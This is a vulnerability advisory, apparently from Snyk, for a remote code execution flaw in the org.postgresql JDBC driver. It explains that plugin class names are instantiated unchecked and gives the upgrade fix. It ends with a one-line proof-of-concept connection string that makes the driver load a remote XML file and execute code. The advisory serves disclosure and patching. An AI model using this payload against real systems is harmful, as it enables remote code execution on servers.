Remote Code Execution (RCE) Affecting org.postgresql:postgresql package, versions [9.4.1208,42.2.25) [42.3.0,42.3.2)
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JAVA-ORGPOSTGRESQL-2390459
- published 2 Feb 2022
- disclosed 2 Feb 2022
- credit Unknown
How to fix?
Upgrade org.postgresql:postgresql
to version 42.2.25, 42.3.2 or higher.
Overview
org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) when using certain plugin features.
pgjdbc
instantiates plugin instances based on class names provided via authenticationPluginClassName
, sslhostnameverifier
, socketFactory
, sslfactory
, and sslpasswordcallback
connection properties.
However, the driver did not verify if the class implements the expected interface before instantiating the class.
PoC
DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");